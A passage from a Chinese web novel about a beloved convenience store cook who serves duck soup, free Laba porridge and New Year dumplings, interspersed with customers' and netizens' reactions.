【未雨绸缪还是很重要的,我在家里、公司、车里都备了伞,出门也会随身带伞,根本不怕下雨。】 【你们都在讨论下雨,只有我注意到视频里的酸萝卜老鸭汤吗?看起来好好喝的样子。】 【那可是侠客便利店出品的老鸭汤,看起来能不好喝嘛。】 【如果淋雨就能喝到如此美味的汤,我愿意!明天q市还下雨吗?我想去当个落汤小天鹅,到便利店门口蹭汤喝。】 【啥落汤小天鹅?不是落汤鸡吗?】 【说自己哪有说落汤鸡的,我不管,我就是小天鹅,话说有q市本地的吗?出来吱一声,你觉得我去便利店门口淋雨有没有机会蹭到晚饭?】 【还小天鹅呢,你要真是小天鹅,小心老板把你做成铁锅炖大鹅,冬天可正是吃铁锅炖大鹅的时候。】 外地网友们想来趟q市很不方便,但对本地人来说,想吃侠客便利店无非是费时间。 只是在这个生活节奏比较快的年代,时间说起来简单,但有时间能天天去侠客便利店排队的其实并没有那么多,因此本地人其实也不是想吃它家就能吃上。 距离祥云街大概七八百米的某个小区,晚饭时间,家里读初中的女儿发现妈妈没怎么吃饭,仰头关心道:“妈妈,你怎么不吃饭?” “妈妈没什么胃口,你和弟弟多吃点。” “是不是做饭累到了所以没有胃口?明天是星期六,妈妈你别做饭了,我请你去外面吃饭。” 听到女儿如此贴心,当妈的脸上不由露出笑容,同时没好气地伸手对着老公背上拍了一巴掌。 正埋头吃饭的男人被拍得有点懵,不知道为啥会被打,不过把女儿刚刚说的话重新在脑子里过一遍,还是求生欲很强地开口:“岚岚零花钱留着自己花,爸爸请你们出去吃饭。” 岚岚妈妈本来想说不用,自己只是最近工作压力比较大才会没有食欲,不过当听到女儿欢呼地表示要去侠客便利店吃时,她却是瞬间回味起上次在便利店吃的萝卜焖牛腩。 想到它家菜的美味,岚岚妈妈拒绝的话直接咽回去,觉得趁着明天放假出去吃个饭好像挺不错。 岚岚爸爸听到女儿说要去侠客便利店,觉得女儿果然贴心,还知道给自己省钱,乐呵呵地答应下来。 一家人说好,第二天上午九点不到就直接出门,开车前往祥云街。 昨天傍晚还哐哐下雨,结果今天上午天气竟然还不错,竟然还稍微出了点太阳。 “侠客便利店什么都好,就是排队这一点真是令人头秃,谁家好人吃个午饭得九点就去店里。” 车子开出去后,岚岚爸爸忍不住吐槽。 岚岚妈妈:“没办法,谁让它家味道好,大家都爱吃,往好处想,咱们住得近,只要愿意花时间就能吃上,多少外地人想吃都吃不上。” “妈妈说得对,等星期一去学校,我要跟我同学炫耀,我又去吃侠客便利店了!”岚岚开心地说。 家里最小的孩子听到姐姐的话,跟着发出欢呼:“去便利店吃饭喽~” 在其他城市,如果你说去便利店吃饭,大家会觉得你混得太惨,但在q市,你说便利店大家下意识会想到侠客便利店,反而会羡慕你有时间。 岚岚一家四口还不是最早的,他们到便利店时,店内已经坐着不少人,各个年龄阶段都有。 年轻人基本上都在抱着手机打游戏、看小说或者刷视频,小孩子则是闲不住地在店里跑来跑去,还有两个老爷子竟然在下象棋,旁边还站着不少人围观。 当然,还有喜欢鸟的老人正在鸟笼边逗八哥玩,在听到它说话时脸上就忍不住露出笑容,觉得这鸟养得可真好。 “真热闹。” 岚岚爸爸感叹完,没多久就凑到下象棋的老人那边去,岚岚弟弟则是被店内玩具吸引,一会要买这个,一会要买那个。 “家里不是已经有好多玩具。”说是这么说,最终当妈的还是拿孩子没办法,想着左右在这里吃饭又不贵,还是松口让他买玩具。 “先说好,只能买一个,你跟姐姐一人挑一个。” 从这点上来看,明清欢家便利店吸引小孩还挺好,能顺便卖出去不少玩具和零食。 姐弟二人挑完玩具,就直接跟着妈妈去前台结账。周瑶瑶收完钱,感觉货架上空出来不少,趁着现在人还不算多,赶紧又去补了点货。 “妈妈,你看还有那个车车!”岚岚弟弟看到货架新上的玩具挖土机,眼睛瞬间亮起来。 岚岚妈妈闻言,立刻用幽怨的眼神看向周瑶瑶。 周瑶瑶对上她眼神,直接转身回柜台里去,只当没看见。 没办法,老板对她那么好,还给她加了工资,她当然希望店里卖出去的东西越多越好,最好每天都能卖空货架,让老板赚多多的钱。 厨房里,明清欢不知道她在为便利店营业额做贡献,已经将今天要卖的老鸭汤炖上。 冬天是个很适合喝汤的季节,她昨天晚上炖酸萝卜老鸭汤就是想让周瑶瑶先试试口味,看看还有没有哪里需要改进。 昨晚喝完老鸭汤后周瑶瑶赞不绝口,觉得完全没有需要改进的地方,她便照昨晚的做法多做点。 酸萝卜老鸭汤的香味光是闻着就很开胃,随着酸萝卜加入锅中,炖出来的香味鲜香中透着酸爽,店中顾客还没吃就感觉胃口被打开。 “不下了,不下了。” 随着香味越来越浓郁,原本下象棋的老人都没办法保持专心,干脆丢开棋子不玩了。 何止老人被香味馋得没办法下棋,旁边玩游戏的年轻人也被鲜香酸爽的气息勾得频频分心,明明知道还没到吃饭的时候,总忍不住抬头往厨房方向看。 “酸酸鲜鲜的味道,闻起来就很开胃,不知道老板又做啥好吃的了。” “好像是鸭鲜味,酸味像是萝卜,我猜应该是酸萝卜老鸭汤。” “酸萝卜老鸭汤?好久没喝这道汤了,老板做的肯定好喝。” 听到顾客们议论声,昨晚就喝过老鸭汤的周瑶瑶开口道:“确实好喝,汤特别鲜,而且虽然是用鸭子炖的,但喝起来却一点都不油腻……” 听到她描述,再配上店内浓郁的香味,不少顾客都下意识咽起口水来。 等到厨房里饭菜全部出锅时,最吸引人的还是酸萝卜老鸭汤。没办法,现在毕竟是冬天,热乎乎的汤光是看着就感觉温暖,更别说明清欢做的汤还那么香。 “哇,太香了,而且感觉好像在放金光一样,难道这就是传说中会发光的美食料理!”有位顾客看到酸萝卜老鸭汤时,发出夸张地赞叹。 盆里的老鸭汤汤色确实很漂亮,金黄清澈,酸萝卜的微白和鸭肉颜色互相映衬,看起来美如画。 明清欢听到如此夸张的评价,唇角不自觉上扬,轮到这位顾客时顺手给她多打了点汤。 “老板我们换个位置。” 在洛淮青排到前面时,周瑶瑶忽然提出换位要求,明清欢知道原因,嗔怪地看她一眼后边和她换位置边开口:“不好意思。” 洛淮青并没觉得有什么,反而挺乐意在她面前排队,说实话也就她们站位每天都不固定,否则压根用不着周瑶瑶提出换位。 “汤里的酸萝卜是你上次腌的那些吗?” 洛淮青之所以会这么问,是明清欢上次腌萝卜时他正好在店里,顺手帮了会忙。 “对。” 明清欢本来想说他如果感兴趣,吃完饭可以带点酸萝卜回去,不过想到后面还有那么多顾客,还是把话收回去,免得其他顾客听见也要吃,那下次炖汤就要不够 用。 等洛淮青端着饭菜离开,很快岚岚一家四口也打到饭。 昨晚在家还很没胃口的岚岚妈妈在喝了口老鸭汤后,瞬间就被那股酸鲜浓郁,余味还微微回甘的汤给喝开胃了。 “妈妈怎么样?你现在有胃口了吗?” 见女儿这会还记得自己胃口不好的事,岚岚妈妈觉得她比自家老公可贴心多了:“有,我感觉我现在能吃下一头牛。” 岚岚听到妈妈的话不由笑出声来,随即也端起汤喝起来,感觉酸酸的,鲜鲜的,还带着咸味,和她以前喝的汤都不一样,但还挺好喝。 “这汤炖得真好,又鲜又开胃,里面鸭肉也好吃,竟然一点都不柴,而且还没鸭腥味,配着酸萝卜一起吃,简直绝了。” 母女二人还在喝汤时,岚岚爸爸已经开始吃肉,肉质酥烂,口感细腻的鸭肉被他一口一块,吃得那叫一个香。 “我也要吃肉!”岚岚弟弟看到爸爸吃得那么香,立刻伸出手说。 虽然是老鸭,但鸭肉炖得特别烂,岚岚爸爸不怕儿子吃不动,直接夹一块塞进他手里。 果然,酥软不柴的鸭肉即便小孩子都吃得动,轻轻一咬就脱骨,吸收酸萝卜酸香味的鸭肉吃起来一点都不腻,反而越嚼越香。 “妈妈,这个萝卜好好吃啊!” 岚岚妈妈听到女儿的话,尝了口萝卜后点头道:“确实好吃,没想到炖过以后还保留着几分爽脆,而且酸味恰到好处。” 对于最近没有胃口的她来说,酸萝卜简直不要太开胃,于是连吃几块才停嘴,开始品尝鸭肉。 以前她在家炖汤时,汤里的肉往往比较柴,所以她不是很爱汤渣,但此时一口鸭肉进嘴,那细腻的肉质让她眼睛都亮起来,觉得老板手艺简直太好了,竟然连汤里的肉都能炖得如此美味。 酸萝卜的酸香和鸭肉油脂都被煮进汤里,而汤又反被鸭肉吸收,让它吃起来半点油腻都没有,满满都是肉鲜味以及萝卜的酸爽,不怪岚岚妈妈觉得它是人间美味。 第44章 第44章腊八粥 冬天本就适合喝汤,热乎乎香喷喷,喝起来还开胃的酸萝卜老鸭汤更是获得所有顾客的喜爱。 午餐时间,不知道多少顾客都特意抬头夸赞明清欢做的老鸭汤,并请求她多做几天,先别换其他汤品。 明清欢又不是天天没事干就喜欢换菜单,见顾客们都爱喝,想到厨房里腌制的那么多坛酸萝卜,自然不会拒绝。 等到顾客们吃饱喝足带着满足的表情逐渐从店中离开时,店内还漂浮着淡淡饭菜香气。 厨房内。 “老板,保鲜盒里的酸萝卜是给那个谁的吗?”周瑶瑶看到她拿保鲜盒装好一份酸萝卜,声音里透着不乐意。 她口中那个谁指的正是洛淮青,若问她为啥突然看洛淮青不顺眼,原因其实很简单,因为洛淮青竟然在小说即将完结时开始发刀子,写死她挺喜欢的一个男配。 “上次腌酸萝卜他有帮忙,总不能让他白干活。” 明清欢说完见她露出气哼哼的表情,好笑道:“行走江湖本就是将命挂在刀尖上,今日你杀我,明日你杀我,会死人实在很正常。” 曾经幼年时的她在听说书人讲故事时,也理解不了什么叫“人在江湖身不由己”,直到踏入江湖,她才发现在这里最不值钱的就是人命。 若非仇恨使然,明清欢其实并不喜欢所谓江湖,所以她很珍惜现在这种或许平淡却让人内心宁静的生活。 “道理我都懂,但大结局发刀子的作者真的太讨厌了!” 周瑶瑶吐槽归吐槽,但在明清欢顺着她的话表示那就不给洛淮青酸萝卜吃时,她最终还是摇头:“算了,你给他吧,最好酸死他!” 明清欢轻笑一声,打趣着反问:“你是嫌我做的萝卜酸了?” “哪有,我是希望他吃不得酸,然后被酸到。” 最终洛淮青还是成功收到酸萝卜,他并不觉得酸,反而觉得爽脆又开胃,每天早上到店里吃早餐时,还特意带上酸萝卜。 随着天气越来越冷,好多人可能是起不来床,能早起到店里买早餐的年轻人越来越少。 这种时候,家有一老如有一宝的好处就体现出来,由于老人大多觉少,冬天照样会出来买早餐,家里的孩子跟着享福,大冷天不用出门就能吃到热乎乎,香喷喷的早餐。 有人吃着侠客便利店出品的糖三角,甚至忍不住发视频炫耀,说她奶奶多好多好。 【想我奶奶了,要是她在的话,肯定也会给我买我喜欢的包子。】 【冬天就适合吃点热乎的,我也好想吃糖三角啊,想想一口咬开面皮热乎乎糖浆流出来那种甜蜜滋味,馋死我了。】 【嘿嘿,同一个世界,同一个奶奶,以前都是我自己去侠客便利店买早餐吃,冬天实在起不来,没想到我奶奶竟然给我买回来了[咬开一口的糖三角图片][剥了壳的茶叶蛋图片]】 【看起来好好吃啊,可惜我家不在q市,不然我奶奶也愿意给我买。】 【羡慕你们,我已经半个月没吃到侠客便利店的早餐了,冬天实在太好睡,根本起不来。】 【坏消息,早上根本起不来,吃不到侠客便利店的早餐。好消息,起床后去店里正好吃午饭,直接省下早餐钱。】 从一群嚷嚷着冬天起不来床的年轻人来看,每天能准时到便利店吃早餐的洛淮青,某方面来说自制力是真强。 立冬后时间像是开了加速器一样,感觉才换上冬装不久,转眼就已经到元旦,进入新的一年。 元旦当天中午便利店还在正常营业,午餐后店门就关闭,周瑶瑶拉着明清欢去楼上换衣服化妆,准备下午出去玩。 她们下午四点多出门,到附近的广场时天已经开始变黑。 “我们先吃饭吧,吃完饭再去玩。” 在便利店时都是明清欢做饭,出来周瑶瑶吵着要请她吃饭,至于吃什么,冬天当然是吃火锅最合适。 鸳鸯锅里一半是牛油辣锅,一半是菌菇锅,被煮开后咕噜噜冒着泡,香气四溢。 明清欢在锅里唰着肉和菜,感觉还挺不错,周瑶瑶则是边吃边夸:“老板你调的料碟真好吃,比我以前自己瞎调的香多了。” “虾好了。” 和明清欢一起吃火锅确实很幸福,她不光会调出超好吃的料碟,对食材火候更是精准把握,能在每种食材的最佳食用时间将其捞出来。 就比如她现在捞出来的虾,又嫩又弹,在咸香鲜辣的料碟里滚一圈,好吃到周瑶瑶想捧脸。 这家店周瑶瑶不是第一次吃,但从来没像今天一样感觉每样菜都口感绝佳,吃到她从店里出来时肚子都挺起来。 “好饱啊,跟老板你出来吃火锅太幸福了!”周瑶瑶脸上露出满足的表情,现在还在喊饱,然而没一会就又拉着明清欢去买了两杯奶茶。 今天好歹是过节,明清欢自然不会扫兴,她要吃什么就陪着一起尝尝。 吃饱喝足 ,等到街上到处都亮起灯时,她们从商场里出来,去广场那边看表演。 “清欢。” 过节的缘故,即便是寒风都阻止不了大家喜欢凑热闹的心,今天广场附近人特别多,周瑶瑶正拉着明清欢见缝插针往前钻时,忽然听到熟悉的声音。 二人一起回头,就看到洛淮青正向这边走来,明清欢没想到会在这里看到他,感觉还挺巧。 周瑶瑶之前还记恨他在小说里发刀子,不过随着整本文完结,她已经不再惦记这事,而是想知道他什么时候开新文。 由于感觉跟他没那么熟,她不好意思自己问,便转头跟明清欢咬耳朵说悄悄话。 随着洛淮青自然地加入和她们同行,双方之间不可能一路无话地往前走,明清欢便顺口替周瑶瑶问了句。 “新文在做大纲和人设,应该年后才会开。” “是你之前说的那本美食文吗?”明清欢想到他之前向自己请教的内容好奇道。 “对,等开文后可能还有些地方需要请教你……” 聊着聊着,他们很快来到表演的地方,由于附近人又多又吵,他们没再聊天,而且安静等着。 一行三人先是看了无人机表演,等得知附近还有打铁花看,又顺着人流换个地方去看打铁花。 如果说无人机表演让明清欢感受到现代科技的震撼,那么打铁花就勾起她对大齐的怀念。 绚烂夺目的打铁花划破天际,围观群众纷纷发出惊呼,不少人都立刻拿出手机拍摄起来,就连周瑶瑶也不例外。 在明清欢望着打铁花时,从她侧脸中看出几分惆怅之意的洛淮青想到旁边有人在卖冰糖葫芦,在其他人都拼命往前面挤想看得更清楚时,他却反而从人群里退出去。 打铁花时间并不长,等洛淮青买完冰糖葫芦回来,人群已经开始散开。 “给。” 明清欢望着面前几串不同口味的冰糖葫芦,诧异一瞬后还是伸手接过来:“谢谢。” 不过她一个人可吃不了那么多冰糖葫芦,最终还是三个人一起分享。 冬天很适合吃冰糖葫芦,寒冷的天气让糖浆冻得更加结实,咬下去时冰凉爽口,酸甜交织,虽然有点冻牙,但同样很美味。 * 元旦过后很快就到了腊八,腊八节肯定得吃腊八粥,前天晚上时明清欢就把不少需要浸泡的食材提前泡上,早上起来就可以直接煮粥。 红豆、花生、莲子之类比较硬的食材先下锅煮,大概半个小时后,下入小米、黑米、之类谷物,边继续煮边搅拌。 由于准备送给顾客们尝尝,明清欢特意拿个大汤桶来煮粥,所以为了最下面不要黏底,煮粥过程的搅拌就很重要。 当红枣、桂圆等食材也下入锅中时,她边继续用小火慢炖边时不时过来搅拌几下。 粥在灶台上炖煮的空隙明清欢也没浪费,揉面做馒头和糖三角。 便利店早餐永远就卖这么几样东西,倒不是她不会做别的,而是如果要做肉包子什么的比较费时间,那中午快餐就会比较赶。 当然,主要也是明清欢卖早餐出发点并不是为了赚多少钱,而是方便周边有需要的人可以来买一块五两个的美味馒头吃。 随着锅里的粥被煮得越来越浓稠,谷物的清香混着桂圆红枣的香甜气息开始源源不断往外冒,在冬日的清晨,这种纯粹的粥香光是闻着就能瞬间打开所有人沉睡一晚的食欲。 昨晚周瑶瑶再次留宿在店中,因此等她起床下楼时,立刻就闻到那股香甜的粥香。 “老板你在煮粥吗?煮的什么粥?好香啊!” 本来还感觉有点困的她闻着浓郁粥香,整个人都瞬间精神不少,加快脚步走进厨房。 “腊八粥。” 明清欢回答完,周瑶瑶拍着自己额头道:“对哦,今天是腊八节,我真是睡糊涂了。” 昨晚明清欢提前浸泡食材时她就在旁边,确实是睡糊涂了才忘记今天是什么日子。 周瑶瑶凑在厨房里看两眼后,转身出去将便利店大门给打开。 “早上好,欢迎光临~” 八哥不知道是不是憋了一晚上没说话,周瑶瑶刚把大门打开,它就扯着嗓子喊起来。 有进来买早餐的顾客闻言,笑着夸了它几句,说它有礼貌。 都说猫是尊老爱幼打中间的动物,明清欢家八哥其实也有点这个倾向,因为它在面对中老年顾客或者小孩子时说话会礼貌很多,但面对年轻顾客时却经常忍不住骂人。 当然,也有可能是年轻顾客喜欢逗它玩,逗多了就让它学会骂人的话。 今天天气是真冷,不过大清早依旧有不少顾客愿意吹着冷风过来买早餐,由此可见大家有多喜爱明清欢的手艺。 “瑶瑶,你去拿点一次性碗。” 厨房内,明清欢见粥已经煮好,觉得可以先送给顾客们喝,正好让他们捧着热粥暖暖手。 “好。” 周瑶瑶应了声,直接去货架上拿下来几包一次性碗拆开放到台面上备用。 等她把碗准备好,明清欢直接拎着桶出来,里面装着满满一大桶粥。 粥桶里色彩丰富,红色的豆子,乳白的莲子,紫黑色的米……组成一碗香喷喷的腊八粥,散发出带着香甜气息的粥香。 除了粥,明清欢还将之前做桂花糖藕剩下的干桂花拿出来,打完一碗粥往上面撒点桂花,不光卖相更加好看,还为粥添一分桂花香。 得知她要请大家喝腊八粥,顾客们脸上都露出开心的笑容,尤其是把粥拿到手,等尝到那绵密浓稠,甜而不腻的滋味时,更是从胃暖遍全身。 冬天就适合喝点热乎的,一碗热乎乎的腊八粥下肚,店里顾客们都有点意犹未尽,不过毕竟是白送的,倒是没有人好意思再要一碗,而是要么想着回家自己煮,要么直接给家里人打电话,喊他们来尝尝。 “什么?便利店今天有腊八粥?老板要请我们喝腊八粥?我马上来!” 冬天的被窝当然很舒服,但如果有免费的粥喝,而且还是侠客便利店老板亲手煮的腊八粥,收到消息的人基本上没谁能拒绝。 于是八点左右时,店里陆陆续续来了好多人,有些还在排队,有些则是已经双手捧着热乎乎的粥,呼噜呼噜喝个不停。 哪怕是免费送给顾客喝的腊八粥,明清欢也煮得特别用心,甚至连食材都是依次下去锅中,这样煮出来的粥既香稠又保持每种食材最佳的口感,吃起来浓稠软糯又不失香甜。 “好好吃啊!大冬天的早晨来上这么碗粥,感觉太幸福了!” “我以前更爱喝清汤寡水的那种粥,没想到煮得稠稠的粥竟然这么好喝!” 一口粥入嘴,先是尝到粥水的浓稠绵密,咀嚼间谷物清香、豆香、红枣和桂圆等食材的甜香依次在味蕾上蔓延开来,咽下去后还唇齿留香,令人回味无穷。 有美食,而且还是免费的美食,大家第一个就想到自己的亲朋好友,于是一传十十传百下,在这个寒风呼啸的冬日早上,越来越多人开始前往侠客便利店的路上。 好在明清欢对此有所预料,食材准备的很足,一桶粥拿出来时厨房里就已经煮上第二桶。 她打包好一些送给祥云街上扫地的清洁工,让他们也能在腊八节喝上碗热粥暖暖身体后,继续回厨房忙碌去。 在她走进厨房前,有顾客询问她为啥没提前说今天有腊八粥喝,明清欢笑笑没有回答,心里想的却是,没有提前说都来了那么多人,要是她提前说那还得了。 “老板真是人美心善,竟然会在腊八节请我们喝腊八粥,给你们看看这粥……” 有主播收到消息来得倒是挺快,拍完刚刚明清欢给清洁工送粥的画面后,将镜头转到自己手里的腊八粥上。 【呜呜呜,她根本不是诚心请大家吃腊八粥,不然为什么不送到我家来?】 【好真材实料的腊八粥,看起来就特别浓稠,我也好想喝啊!】 【为什么我附近没有这么好的店,羡慕……】 【那个清洁工阿姨收到腊八粥笑得好开心啊!大冬天的感觉心里暖暖的,决定原谅这个世界三分钟。】 【看饿了,但是被窝里太暖和根本不想起床,要是现在有谁给我送一碗腊八粥,我也能笑得很开心。】 【这是不要钱就能吃到的粥吗?比我昨天外卖上点的粥看起来还有卖相,我现在打车 去q市还来得及吗?】 【我去!我怎么不知道老板今天送腊八粥?还好在直播你直播间看到了,我现在就下楼吃粥去!】这位粉丝显然就住在祥云街附近,看到直播后直接从床上跳起来。 【腊八粥有什么好喝的,我一点都不馋,不就是碗粥,跟谁没吃过一样,呜呜呜……我就是没吃过,为啥我不是q市人,我也想吃腊八粥……】 【本q市人表示,不是所有q市人都能吃到它家腊八粥好吗,我家离侠客便利店两个半小时的车程,根本去不了一点。】 由于是早上,直播间里人不算特别多,但评论倒是不少,大家都显得很活跃。 而镜头外,主播用勺子搅拌一下粥,将表面点缀的桂花搅开后就送入口中:“唔,这粥可真香啊!豆子都被煮烂了,咀嚼间满满的豆香,枣香,还有谷物清香,口感太丰富了!” 腊八节并不是所有人家都会煮腊八粥,不过看直播的网友们被主播给馋到,却是馋起这口腊八粥来。 有些人行动能力强,直接去厨房翻找起来,看看家里有哪些食材可以煮粥;有人图省事,直接握着手机进入外卖平台,啪啪啪打出“腊八粥”三个字,随即直接下单;还有人啥也没有就有一张嘴,直接扯着嗓子喊妈就行。 这三种吃腊八粥的方法,第一种需要点动手能力,不然容易烧厨房;第二种最方便,但有翻车的风险,毕竟点外卖有时候跟赌博一样,根本不知道送过来的东西到底是好吃还是不好吃;至于第三种,有可能会挨上一顿妈妈的骂或者抱怨。 侠客便利店中,由于明清欢粥煮得多,而且还在持续煮粥中,让每个过来的顾客都分到一碗粥不说,就连鸟笼子里的八哥都分到一食盒。 “好吃,真好吃~” 看到八哥边啄粥边扯着嗓子夸,店内顾客都被它给逗笑,不少人忍不住掏出手机对着它拍起来。 有人是真缺德,拍完视频直接发朋友圈就算了,还配上“腊八节,鸟都吃上腊八粥了,你吃了没”这种欠打的文字。 十点左右时,厨房里除开粥香外,开始飘出饭菜香味。 腊八节好歹是个节,今天中午菜色很是丰盛,有萝卜焖牛腩、栗子烧鸡、脆皮香酥鸭、黄豆烧鱼块、番茄炒蛋、胡萝卜炒肉和莲藕排骨汤。 由于顾客群里好多人得知有今天腊八粥喝后,都嚷嚷着他们也要喝,厨房里煮粥的桶就没断过火,因此今天中午主食除了米饭,还有腊八粥。 等到饭菜被端出来,香气四溢的萝卜焖牛腩、汤汁浓郁的栗子烧鸡、金黄酥脆泛着琥珀光的香酥鸭……每道菜看起来都格外诱人。 “老板,我可以米饭和腊八粥都要吗?我还没吃到腊八粥。”有过来时正好粥还在煮的顾客排到前面立刻问。 明清欢:“可以啊,只要你吃得下就行。” “肯定吃得下,老板你做的东西那么好吃,没人舍得浪费的。”顾客保证道。 这倒是大实话,确实没人舍得浪费在它家买的美食,以至于附近被香味吸引过来的猫猫狗狗们,除非直接从顾客讨食,否则在地上捡到的骨头,那真是啃得比狗还干净。 由于顾客们听到有腊八粥喝都来得太积极,以至于早上时周瑶瑶都没能好好品尝一下,囫囵吞枣般喝完整碗粥。 于是等到中午吃饭时,她给自己打了一碗饭一碗粥,前面吃得还很开心,尤其是喝着香甜浓稠的腊八粥时,感觉这个粥简直太适合冬天,喝完从嘴巴甜进心里,从胃暖遍全身。 不过等把粥喝到一半,她咬着外皮酥脆内里鲜嫩多汁的脆皮鸭时,却是吃得忍不住叹气。 “怎么了?”明清欢听到她叹气声,如果不是没有顾客反应过,都有点怀疑是不是自己今天做的香酥鸭有哪里不对。 她做的香酥鸭当然没问题,金黄酥脆的鸭子酥香脆嫩,好吃得不能再好吃。就是因为太好吃,周瑶瑶想到过年回家就吃不到这些美食,才忍不住叹气。 腊八过了就是年,腊八节过完离过年越来越近,她车票都已经买好,再过几天就要收拾东西回老家。 明清欢见她是为回家而叹气,觉得过年能回家是好事,开口道:“没事,到时候我做点能放的吃食给你带回家吃。” 周瑶瑶闻言眼睛瞬间就亮起来,虽然有点不好意思,但还是没拒绝她的好意,而是丢出一连串甜言蜜语,夸她是世界上最好的老板。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第45章(完结) 第45章 第45章(完结)年夜饭 周瑶瑶回家后,便利店便只剩明清欢自己一个人。 其实对她来说每天做饭并不费什么精力,不过得知她过年竟然不打算休息时,周瑶瑶、孙悦月她们三人连夜拉个多人群聊打消她这个念头。 明清欢还是很听劝的,于是决定早餐和快餐卖到小年就结束。 至于平常在店中吃饭的杨老太太,她本来想说让老太太过年期间正常到自己店里吃饭,不过得知社区搞了老年食堂解决杨老太太这类老人的吃饭问题,她顿时就放下心来。 : 社区食堂的饭菜味道可能没便利店那么好,但冬天路滑,比起老人还要走过来吃饭,显然就开在小区里的老年食堂会更方便。 顾客们得知小年过后就吃不到她家快餐,好多人发出不舍的叫声,不过想到大过年不让人休息实在缺德,大家也就叫两声,倒是没嚷嚷着让明清欢别休息。 小年当天。 明清欢今天起床没有做馒头,而是揉面、调馅开始包饺子。 q市这边本来就有小年吃饺子的习俗,加上今天是便利店营业最后一天,她想着让顾客们吃顿饺子,算是告别过去的一年。 饺子馅有白菜猪肉、韭菜鸡蛋、牛肉胡萝卜、玉米虾仁等几种,可谓是口味多样,考虑到顾客们的不同口味。 明清欢揉面、擀面皮、调馅、包饺子,明明只有她独自在厨房忙活,行云流水的动作却像是一人就成为一条流水线,效率高得吓人。 她提前通知过今天不卖早餐,不过八点左右时依旧有好多顾客早早来到店中,显然是等着吃今年在便利店的最后一顿饭。 跟其他老顾客比起来,洛淮青要到得更早,而且自从周瑶瑶回家后,他特别自然的接起看店的活,以至于不少顾客都以为他是店里的新员工。 “不知道今天有什么好吃的,好期待啊。” “你不知道吗?老板不是说了,今天小年,所以吃饺子。” “啊?老板说过吗?我不知道啊,不过她包的饺子肯定好吃。” 店内越来越热闹时,厨房里明清欢已经包出好多饺子,眼见台面上都有点放不下,她将一部分饺子先下锅煮。 随着饺子在汤里起起伏伏,香味伴随蒸汽从锅里冒出来,面皮的麦香混合着肉馅的鲜香源源不断飘出来,光是闻着就令人食指大动。 “好香啊!” “不知道老板包的什么馅的饺子,香得我口水都快下来了。” “我闻见牛肉味了,还有香菇味。” “好像还有玉米香,我最喜欢吃玉米馅的饺子了!” 顾客们边被饺子香气馋得不行边讨论着自己爱吃的口味时,厨房里飘出来的香味越来越浓郁。 等到排队的人从店内站到大门口时,明清欢终于将饺子端出来。 “我来打吧。” 洛淮青自觉地走过来帮忙。 饺子要煮好现吃口感才最好,厨房里还有好多饺子等着煮,明清欢本来在犹豫是让顾客自助打饺子,还是她打完饺子再去里面煮,见他走过来帮忙,想想还是接受他好意。 明清欢道谢后拿个口罩递给他,又交代几句便回厨房去。 她去厨房煮饺子时,顾客们已经开始挑选着自己爱吃的饺子,有人喜欢经典的猪肉白菜馅,有人喜欢玉米虾仁馅,还有人偏爱牛肉馅,不过更多人什么口味都喜欢,直接来碗全家福。 明清欢包的饺子卖相特别漂亮,形状完美不说,饺子皮晶莹透亮,能隐约看清里面饺子馅的颜色,比如韭菜鸡蛋馅饺子,就能看出淡淡绿意。 饺子绝佳的卖相还没吃就令人口水都快掉下来,等真吃进嘴里,店内立刻响起顾客们夸赞声。 “好好吃!饺子皮柔韧弹牙,一吃就吃得出来是自己擀的,里面的馅更是又新鲜,调味又香,这才是人吃的饺子啊!” “确实好吃,虾仁又弹又嫩,感觉像是用现剥的虾仁,老板太讲究了。” “饺子果然还是现包的好吃,皮韧馅香,感觉这碗饺子吃完,回家我都吃不下冰箱里屯的那些速冻饺子了。” 饺子在现代并不算什么稀罕吃食,但顾客们还是有被手里这碗热乎乎的饺子给惊艳到。 尤其是对某些感觉自己近些年越来越不爱吃饺子的顾客来说,他们吃着色香味俱全的饺子,忽然明白过来一件事,原来不是他们越来越不喜欢吃饺子,而是平常吃不到这么好吃的饺子。 “这饺子真是绝了!” 有位顾客咬了口饺子,低头望着筷子上剩下半个饺子,在看到饺子馅那股汁水丰盈,白菜和肉馅颜色互相映衬的卖相时,嘴里还没咽下就把剩下的继续塞进去。 柔韧弹牙的饺子皮,鲜嫩多汁的内馅,咀嚼间白菜的清甜与肥瘦相间的肉糜混合在一起,吃起来鲜而不腻,简直令人上瘾。 “妈妈我还要吃。” 如此美味的饺子连大人都吃得停不下来,小孩子更是爱吃得不行,吃完还要吃。 “再吃一个就不能再吃了,不然你小肚子要被撑坏了。” 在家里时家长们总是烦恼孩子不爱吃饭,但到便利店时,烦恼就变成怎么能让孩子不要吃积食。 “妈妈,这个饺子好好吃呀!” 小朋友大口吃着玉米虾仁馅饺子,虾仁的鲜嫩与玉米的清甜爽口混合在一起,好吃到忍不住晃脚脚。 十一半点左右时,一批批顾客挺着肚子带着满足表情从店中离开,一批批顾客还在排队等着吃饺子。 等到明清欢将所有饺子全部煮完,她递给洛淮青一碗饺子和一碟调好的蘸料让他去吃饭,自己则是接手打饺子的活。 饺子蘸料是经典的陈醋、蒜泥、辣椒油,另外还点了两滴香油。 当然,她是知道洛淮青吃蒜和辣椒油才调到一起,对店内顾客的话,她就直接提供醋、酱油、辣椒油、蒜末、香油等调料让他们按口味自己搭配。 不得不说,在便利店打饭实在是件折磨人的活,不怪周瑶瑶之前经常打饭打到一半被馋到,忍不住先去解解馋。 洛淮青接过自己那份饺子,站在旁边柜台前就吃起来,饺子单吃是原汁原味的美味,皮滑馅香,让人吃了还想再吃。若是在料碟中滚一圈,醋香混着辣香和蒜香,让饺子吃起来味道更加丰富有层次感。 小年这顿饺子是真让顾客们都吃爽了,一个个走之前要么提前给明清欢拜早年,要么喊她明年早点开业。 等顾客们都离开,很快店中就只剩下明清欢和洛淮青。 “饺子很好吃。”洛淮青道。 明清欢听到他夸饺子好吃,转身去厨房拿出一袋生饺子,另外还有腊肠、腊肉、炸藕丸。 腊肠这几样吃食都是周瑶瑶回家前她特意做的,让她带回家过年吃。不过据前两天她打电话来反馈,东西根本放不到过年,她回去没几天就吃完了。 洛淮青有些不好意思,但又怕把东西拿回家做坏了浪费东西,到底还是说出来:“我不会做饭……” 他从小跟在爷爷奶奶身边长大,奶奶还在时根本不会让他进厨房,等奶奶去世后他倒是试着自己做,但难吃到根本吃不下,后面就干脆不为难自己,直接吃外卖。 明清欢很想说不会做饭你还准备写美食文,但看到他耳根都有点红,到底还是没把这话说出来,而是问:“那你过年吃什么?” “外卖。” “过年还有外卖吃?” 